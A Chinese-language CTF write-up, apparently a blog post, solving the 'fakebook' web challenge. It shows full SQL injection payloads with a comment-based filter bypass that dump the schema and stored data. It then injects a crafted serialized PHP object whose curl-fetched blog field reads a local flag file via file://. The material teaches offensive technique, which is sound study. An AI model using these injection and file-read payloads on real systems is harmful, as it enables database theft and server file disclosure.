当前位置: 首页 > news >正文

攻防世界——Web题 fakebook

首先测试网站的功能,当我注册一个账号时,发现这里的链接:

点进去看到URL:

感觉no这个地方可以尝试一下sql注入

推测应该是数字型注入

发现果然可以进行sql注入, 最终测得列数应该是4列,但当我尝试sql注入时,发现有过滤:

在绕过的同时,我开始扫目录。判断过滤的时候,我猜测是对传入no参数的值进行检验,当我单独传入 union 或者 select 的时候,都只会显示语法错误,而当我传入union select 时,才会显示hack:

于是猜测这里应该是对 union select 整体的一个绕过,如果使用 union/**/select ,发现可以绕过

此外,发现了一个函数 unserilize(),先放在这,至少可以看到回显处:2

?no=-1 union/**/select 1,database(),3,4  --
# 得到库名 fakebook


?no=-1 union/**/select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3,4--
# 得到表名 users


?no=-1 union/**/select 1,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name='users'),3,4--
# 得到字段名: no username passwd data


?no=-1 union/**/select 1,(select group_concat('~',data)from fakebook.users),3,4 --
# 得到data值
~O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:14:"http://123.com";},

到这一步有什么用呢?暂时没什么头绪。

之前扫描目录的结果也拿到了,发现有很多可以访问的文件:

首先看 robots.txt 文件:

可以看到有一个压缩文件,访问该文件可以下载到源码:

<?php
class UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age =(int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch); # 执行一个curl请求$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);# 注意这个地方,使用get函数的是blog}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}
}

发现这里有 curl ,可执行请求并返回响应内容,这里我想到的就是搭配file://进行读取了,还有一个原因是:当我访问flag.php、db.php等等,发现返回的内容都为空,但这里应该就是flag.php!

其次,发现上面使用get函数的是 blog ,也就是说我们需要通过blog来发起请求:

blog:file:///var/www/html/flag.php

怎么传呢?回忆一下我们之前得到的字段顺序,分别为:no username passwd data

而我们正是读取了data的值,data返回一段序列化信息,但又显示有反序列化函数unserilize。如果直接使用data传入序列化字符串,是不是就能经反序列化函数解析为UserInfo对象,从而读取该对象的blog值,执行请求并返回响应内容呢!于是可以这样构造:

直接利用我们之前得到的序列化字符串:

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:14:"http://123.com";},

将其稍微修改:
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";},

然后就可以构造请求了,我们要传入第四个字段data的值,所以这样构造:
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

成功修改blog的值! 且此时也应该使用curl发起请求返回响应内容了,查看源代码得:

点击进去直接可以得到flag

 


 

 

 

相关文章:

攻防世界——Web题 fakebook

首先测试网站的功能&#xff0c;当我注册一个账号时&#xff0c;发现这里的链接&#xff1a; 点进去看到URL&#xff1a; 感觉no这个地方可以尝试一下sql注入 推测应该是数字型注入 发现果然可以进行sql注入&#xff0c; 最终测得列数应该是4列&#xff0c;但当我尝试sql注入…...

【Java微服务组件】异步通信P2—Kafka与消息

欢迎来到啾啾的博客&#x1f431;。 记录学习点滴。分享工作思考和实用技巧&#xff0c;偶尔也分享一些杂谈&#x1f4ac;。 欢迎评论交流&#xff0c;感谢您的阅读&#x1f604;。 目录 引言Kafka与消息生产者发送消息到Kafka批处理发送设计消息的幂等信息确保消息送达acks配置…...

AI数字人一体机和智慧屏方案:开启智能交互新纪元

在当今这个信息化飞速发展的时代&#xff0c;AI技术正以前所未有的速度改变着我们的生活方式和工作模式。特别是在人机交互领域&#xff0c;AI数字人的出现不仅极大地丰富了用户体验&#xff0c;也为各行各业提供了前所未有的创新解决方案。本文将重点介绍由广州深声科技有限公…...

10-码蹄集600题基础python篇

题目如上&#xff1a; 这题就是ASCII的转换&#xff0c;直接使用ord就可以 下面是代码&#xff1a; def main():#code here# a1,a2input().split(",")# print(f"The ASCII code of {a1} is {ord(a1)}")# print(f"The ASCII code of {a2} is {ord(a2…...

给几张图片和一段文字,怎么制作成带有语音的视频---php

想用PHP将图片和文字转换成带有语音的视频&#xff0c;想做自动化的视频生成&#xff0c;比如用于广告、演示或者其他需要多媒体处理的场景。 接下来考虑PHP本身的能力。PHP主要是用于服务器端的脚本语言&#xff0c;不太擅长处理多媒体内容&#xff0c;比如视频和语音合成。所…...

vue3中RouterView配合KeepAlive实现组件缓存

KeepAlive组件缓存 为什么需要组件缓存代码展示缓存效果为什么不用v-if 为什么需要组件缓存 业务需求&#xff1a;一般是列表页面通过路由跳转到详情页&#xff0c;跳转回来时&#xff0c;需要列表页面展示上次展示的内容 代码展示 App.vue入口 <script setup lang"…...

NIFI的处理器:ExecuteGroovyScript 2.4.0

ExecuteGroovyScript是常用的处理器之一&#xff0c;用于执行GroovyScript脚本。该脚本负责处理传入的流文件&#xff08;例如传输到SUCCESS或删除&#xff09;以及由该脚本创建的任何流文件。如果处理不完整或不正确&#xff0c;会话将被回滚。 属性值-失败处理策略 Failure …...

安全可控的AI底座:灯塔大模型应用开发平台全面实现国产信创兼容适配认证

国产信创产品兼容适配认证是为了支持和推动国产信息技术产品和服务的发展而设立的一种质量标准和管理体系。适配认证旨在确保相关产品在安全性、可靠性、兼容性等方面达到一定的标准&#xff0c;以满足政府和关键行业对信息安全和自主可控的需求。 北京中烟创新科技有限公司&a…...

.NET外挂系列:5. harmony 中补丁参数的有趣玩法(下)

一&#xff1a;背景 1. 讲故事 开局一张表&#xff0c;故事全靠编&#xff0c;为了能够承上启下&#xff0c;先把参数列表放出来。 参数名说明__instance访问非静态方法的实例&#xff08;类似 this&#xff09;。__result获取/修改返回值&#xff0c;要想修改用 ref。__res…...

Spring Boot 登录实现:JWT 与 Session 全面对比与实战讲解

Spring Boot 登录实现&#xff1a;JWT 与 Session 全面对比与实战讲解 2025.5.21-23:11今天在学习黑马点评时突然发现用的是与苍穹外卖jwt不一样的登录方式-Session&#xff0c;于是就想记录一下这两种方式有什么不同 在实际开发中&#xff0c;登录认证是后端最基础也是最重要…...

vscode离线安装组件工具vsix

1.外网下载vsix 网址为&#xff1a;Open VSX Registry 2.输入需要下载的组件 3.下载组件 4.安装 5.选择安装文件 6.安装完成...

Vue大数据量前端性能优化策略

文章目录 前言Vue大数据量前端性能优化策略1. 虚拟列表的使用方式及优势2. 列表和图表的懒加载技术3. Web Worker 在图表数据预处理中的应用4. 图表渲染优化技巧5. 分批渲染技术实现方法&#xff08;如 requestIdleCallback&#xff09;6. 其他可行的 Vue 层优化策略 前言 Vue…...

Hass-Panel - 开源智能家居控制面板

文章目录 ▎项目介绍&#xff1a;预览图▎主要特性安装部署Docker方式 正式版Home Assistant Addon方式详细安装方式1. Home Assistant 插件安装&#xff08;推荐&#xff09;2. Docker 安装命令功能说明 &#xff1a;3. Docker Compose 安装升级说明Docker Compose 版本升级 功…...

iPaaS集成平台技术选型关注哪些指标?

在数字化转型进程中&#xff0c;企业系统间的数据孤岛问题日益凸显。根据IDC调研&#xff0c;85%的IT决策者将“系统集成效率”列为业务创新的关键瓶颈。iPaaS&#xff08;集成平台即服务&#xff09;凭借其敏捷性、低代码特性和智能化能力&#xff0c;已成为企业构建数字生态的…...

JavaScript性能优化实战(14):跨端JavaScript性能优化

在当今多端开发的时代,JavaScript已经突破了浏览器的界限,广泛应用于移动应用、桌面应用、小程序等各类环境。然而,不同平台的运行时环境存在差异,为JavaScript性能优化带来了新的挑战和思考维度。 目录 React Native性能优化最佳实践Electron应用性能优化策略混合应用中J…...

多通道经颅直流电刺激器产品及解决方案特色解析

前记 团队在多通道经颅直流电刺激这个技术方向&#xff0c;一路深耕。在服务了不少客户之后&#xff0c;为了方便后续的产品和方案推广。我们弄出来了产品和方案两种形态。标准产品是为了给用户演示以及一些常规的实验使用。方案则是为了满足不同方向的科研用户的需求。这两者相…...

Quasar 使用 Pinia 进行状态管理

官方文档&#xff1a;使用 Pinia 进行状态管理 |Quasar 框架 视频教程&#xff1a;quasar框架store-状态管理库pinia介绍_哔哩哔哩_bilibili 使用 Quasar CLI 创建一个新的store quasar new store date --format jsPinia存储模板详解解 基本结构解析 import { defineStore,…...

计算机网络--第一章(下)

1.计算机网络的分层结构 1.1 分层结构 网络体系结构描述的是&#xff0c;计算机网络有几层&#xff0c;有什么功能&#xff0c;用的什么协议。 水平方向的关系&#xff0c; 协议&#xff0c;说的是对等实体间通信需要遵守的规则。用于约束&#xff0c;这个约束的方向是水平的。…...

Veo 3 可以生成视频,并附带配乐

谷歌最新的视频生成 AI 模型 Veo 3 可以创建与其生成的剪辑相配的音频。 周二&#xff0c;在谷歌 I/O 2025 开发者大会上&#xff0c;谷歌发布了 Veo 3。该公司声称&#xff0c;这款产品可以生成音效、背景噪音&#xff0c;甚至对话&#xff0c;为其制作的视频增添配乐。谷歌表…...

数据结构核心知识总结:从基础到应用

数据结构核心知识总结&#xff1a;从基础到应用 数据结构是计算机科学中组织和存储数据的核心方式&#xff0c;直接影响程序的性能和资源利用率。本文系统梳理常见数据结构及其应用场景&#xff0c;帮助读者构建清晰的知识体系。 一、数据结构基础概念 数据结构是数据元素之间…...

Flannel后端为UDP模式下,分析数据包的发送方式(二)

发往 10.244.2.5 的数据包最终会经过物理网卡 enp0s3&#xff0c;尽管路由表直接指定通过 flannel.1 发出。以下以 Markdown 格式详细解释为什么会经过 enp0s3&#xff0c;结合 Kubernetes 和 Flannel UDP 模式的背景。 问题分析 在 Kubernetes 环境中&#xff0c;使用 Flanne…...

超低延迟音视频直播技术的未来发展与创新

引言 音视频直播技术正在深刻改变着我们的生活和工作方式&#xff0c;尤其是在教育、医疗、安防、娱乐等行业。无论是全球性的体育赛事、远程医疗、在线教育&#xff0c;还是智慧安防、智能家居等应用场景&#xff0c;都离不开音视频技术的支持。为了应对越来越高的需求&#x…...

改写视频生产流程!快手SketchVideo开源:通过线稿精准控制动态分镜的AI视频生成方案

Sketch Video 的核心特点 Sketch Video 通过手绘生成动画的形式&#xff0c;将复杂的信息以简洁、有趣的方式展现出来。其核心特点包括&#xff1a; 超强吸引力 Sketch Video 的手绘风格赋予了视频一种质朴而真实的质感&#xff0c;与常见的精致特效视频形成鲜明对比。这种独…...

Circle宣布Circle Payments Network主网上线

据 Circle 官方消息&#xff0c;Circle Payments Network 主网正式上线。该网络是一个基于区块链的支付协调协议&#xff0c;允许银行和支付服务提供商使用公共区块链上的 USDC 进行实时结算。 Circle Payments Network 支持企业对企业供应商支付、跨境汇款、资金管理、企业定期…...

【RabbitMQ】记录 InvalidDefinitionException: Java 8 date/time type

目录 1. 添加必要依赖 2. 配置全局序列化方案&#xff08;推荐&#xff09; 3. 配置RabbitMQ消息转换器 关键点说明 1. 添加必要依赖 首先确保项目中包含JSR-310支持模块&#xff1a; <dependency><groupId>com.fasterxml.jackson.datatype</groupId>&l…...

linux 学习之位图(bitmap)数据结构

bitmap 可以高效地表示大量的布尔值&#xff0c;并且在许多情况下可以提供快速的位操作。 1 定义 enum device_state{DOWN,DOEN_DONE,MAILBOX_READY,MAILBOX_PENDING,STATE_BUILD };DECLARE_BITMAP(state,STATE_BUILD)&#xff1b;相当于》u32 state[BITS_TO_LONGS(4)] BIT…...

CNN手写数字识别/全套源码+注释可直接运行

数据集选择&#xff1a; MNIST数据集来自美国国家标准与技术研究所, National Institute of Standards and Technology (NIST)。训练集&#xff08;training set&#xff09;由来自250个不同人手写的数字构成&#xff0c;其中50%是高中学生&#xff0c;50%来自人口普查局&…...

基于springboot+vue网页系统的社区义工服务互动平台(源码+论文+讲解+部署+调试+售后)

感兴趣的可以先收藏起来&#xff0c;还有大家在毕设选题&#xff0c;项目以及论文编写等相关问题都可以给我留言咨询&#xff0c;我会一一回复&#xff0c;希望帮助更多的人。 系统背景 在社会文明程度不断提升、社区治理需求持续深化的大背景下&#xff0c;社区义工服务作为…...

MBSS-T1:基于模型的特定受试者自监督运动校正方法用于鲁棒心脏 T1 mapping|文献速递-深度学习医疗AI最新文献

Title 题目 MBSS-T1: Model-based subject-specific self-supervised motion correction forrobust cardiac T1 mapping MBSS-T1&#xff1a;基于模型的特定受试者自监督运动校正方法用于鲁棒心脏 T1 mapping 01 文献速递介绍 心脏T1定量成像&#xff08;Quantitative Car…...

Google机器学习实践指南(迭代学习机制解析篇)

&#x1f525; Google机器学习(5)-迭代学习机制解析 Google机器学习实战(5)-深入理解模型训练中的迭代优化过程 一、迭代学习概念 ▲ 核心定义&#xff1a; 在训练机器学习模型时&#xff0c;首先对权重和偏差进行初始猜测&#xff0c;然后反复调整这些猜测&#xff0c;直到…...

【时时三省】Python 语言----文件

目录 1,文件打开 2, 文件关闭 3, 文件写入 4, 文件读出 5, 文件定位 6, 文件重命名 7, 复制文件 山不在高,有仙则名。水不在深,有龙则灵。 ----CSDN 时时三省 1,文件打开 file = open(file, mode, buffering, encoding, errors, newline, closefd, opener) 2, 文…...

WPF···

设置启动页 默认最后一个窗口关闭,程序退出,可以设置 修改窗体的icon图标 修改项目exe图标 双击项目名会看到代码 其他 在A窗体点击按钮打开B窗体,在B窗体设置WindowStartupLocation=“CenterOwner” 在A窗体的代码设置 B.Owner = this; B.Show(); B窗体生成在A窗体中间…...

架构图 C4 规范简介

架构图 C4 规范简介 C4&#xff08;Context, Containers, Components, Code&#xff09;是一种用于软件架构可视化的分层建模方法&#xff0c;由 Simon Brown 提出。它通过四个不同层次的抽象来描述软件系统&#xff0c;适用于不同受众&#xff08;如业务人员、架构师、开发人…...

运维Web服务器核心知识与实战指南

一、Web服务器基础概述 &#xff08;一&#xff09;核心定义与功能 Web服务器是互联网的基础设施&#xff0c;负责存储、处理和传输网页内容&#xff0c;通过HTTP/HTTPS协议与客户端交互。其核心功能包括&#xff1a; 请求处理&#xff1a;监听端口&#xff08;默认80/443&a…...

免费建站系统是什么?如何选择免费建站系统?

如今&#xff0c;换互联网成为大家生活中必不可少的一部分。对于普通的个人、一些企业、包括一些事业单位&#xff0c;拥有一个高效实用的网站成为展示、宣传、产品介绍的重要途径。但是对于很多用户来说&#xff0c;对于一些没有建站基础的用户来说&#xff1a;建站是一项高门…...

React---day1

React 它允许我们只需要维护自己的状态&#xff0c;当状态改变时&#xff0c;React可以根据最新的状态去渲染我们的UI界面 开发React必须依赖三个库&#xff1a; eact&#xff1a;包含react所必须的核心代码react-dom&#xff1a;react渲染在不同平台所需要的核心代码babel&…...

赋能智慧党建:远眺科技助力党校可视化系统高效落地

项目背景&#xff1a;智慧党校建设的时代召唤 在数字化浪潮席卷各行各业的今天&#xff0c;传统党校亦面临转型升级的迫切需求。 宁波某地党校&#xff0c;积极响应国家关于推进“智慧党建”的号召&#xff0c;旨在通过引入先进信息技术&#xff0c;打造一个集数据展示、信息…...

解决使用HBuilder X开发时uView组件不生效的问题

1.uni-ui 是一个为 uni-app 开发的 UI 组件库&#xff0c;你可以通过 npm 安装它。 在项目的根目录下打开终端&#xff08;可以通过菜单“工具” > “终端”打开&#xff09;&#xff0c;然后运行以下命令来安装 uni-ui&#xff1a; npm install uview-ui2.安装后&#xff…...

React中 lazy与 Suspense懒加载的组件

MyHead.jsx console.log(MyHead.jsx); function Head() {return <>hello Head</>; } export default Head;懒加载.jsx // 引入 React 的 useState、lazy 和 Suspense API // lazy 用于懒加载组件&#xff0c;Suspense 用于在加载过程中显示 loading 状态 import …...

网络学习-利用reactor实现http请求(六)

一、实现HTTP请求 1、印象里面&#xff0c;总有人说C/C语言不能实现HTTP请求&#xff0c;其实不然。C/C语言完全可以实现HTTP请求。通过对select,poll,epoll等IO多路复用技术的学习以及reactor模式的学习&#xff0c;完全能够实现HTTP请求。 2、webserver 主要解决两个问题 …...

【东枫科技】usrp rfnoc 开发环境搭建

作者 太原市东枫电子科技有限公司 &#xff0c;代理销售 USRP&#xff0c;Nvidia&#xff0c;等产品与技术支持&#xff0c;培训服务。 环境 Ubuntu 20.04 依赖包 sudo apt-get updatesudo apt-get install autoconf automake build-essential ccache cmake cpufrequtils …...

RabbitMQ的其中工作模式介绍以及Java的实现

文章目录 前文一、模式介绍1. 简单模式2. 工作队列模式3. 广播模式4. 路由模式5. 通配符模式6. RPC模式7. 发布确认模式 二、代码实现1、简单模式2、工作队列模式生产者消费者消费者 1消费者 2 3、广播模式 (Fanout Mode)生产者消费者 4、路由模式 (Direct Mode)生产者消费者 5…...

Docker 镜像打包到本地

保存镜像 使用 docker save 命令将镜像保存为一个 tar 文件。命令格式如下&#xff1a; docker save [options] IMAGE [IMAGE...]示例&#xff1a;docker save -o centos.tar centos:latest--output 或 -o&#xff1a;将输出保存到指定的文件中。 加载镜像 如果需要在其他机器…...

5分钟搭建智能看板:衡石科技自助式BI工具使用教程

在数据驱动的时代&#xff0c;业务人员需要快速将数据转化为洞察&#xff0c;而非依赖IT团队排队开发报表。衡石科技HENGSHI SENSE的自助式BI工具&#xff0c;通过零代码配置、模板化设计、智能分析三大核心能力&#xff0c;让任何人都能在5分钟内搭建专业级数据看板。本文将手…...

安卓开发用到的设计模式(1)创建型模式

安卓开发用到的设计模式&#xff08;1&#xff09;创建型模式 文章目录 安卓开发用到的设计模式&#xff08;1&#xff09;创建型模式1. 单例模式&#xff08;Singleton Pattern&#xff09;2. 工厂模式&#xff08;Factory Pattern&#xff09;3. 抽象工厂模式&#xff08;Abs…...

Unity3D序列化机制详解

前言 Unity3D的序列化机制是其编辑器与运行时数据管理的核心&#xff0c;理解其工作原理对高效开发至关重要。以下是关键点总结&#xff1a; 对惹&#xff0c;这里有一个游戏开发交流小组&#xff0c;希望大家可以点击进来一起交流一下开发经验呀&#xff01; 1. 序列化的作…...

[Harmony]自定义导航栏

1.方案一 CustomNavigationBar import { router } from kit.ArkUI; import { DevicesUtil } from ../utils/DevicesUtil; import { common } from kit.AbilityKit;Component export struct CustomNavigationBar {State private navHeight: number 44State parTitle: string …...

LeetCode117_填充每个结点的下一个右侧结点指针Ⅱ

LeetCode117_填充每个结点的下一个右侧结点指针Ⅱ 标签&#xff1a;#树 #深度优先遍历 #广度优先遍历 #链表 #二叉树Ⅰ. 题目Ⅱ. 示例 0. 个人方法 标签&#xff1a;#树 #深度优先遍历 #广度优先遍历 #链表 #二叉树 Ⅰ. 题目 给定一个二叉树&#xff1a; struct Node {int v…...

Qt enabled + geometry 属性(2)

文章目录 enabled属性可用与禁用的概念API接口代码演示 阐述说明1. 先简单描述下要如何演示出上面两个接口的效果&#xff08;思路&#xff09;2. 事先规范按钮对象的命名3. 定义两个按钮对象的槽函数 动图演示效果4. widget.cpp geometry属性预备知识API接口上下左右移动 ta…...

OpenHarmony外设驱动使用 (十),Sensor

OpenHarmony外设驱动使用 &#xff08;十&#xff09; Sensor 概述 功能简介 Sensor驱动模型屏蔽硬件器件差异&#xff0c;为上层Sensor服务系统提供稳定的Sensor基础能力接口&#xff0c;包括Sensor列表查询、Sensor启停、Sensor订阅及取消订阅&#xff0c;Sensor参数配置等…...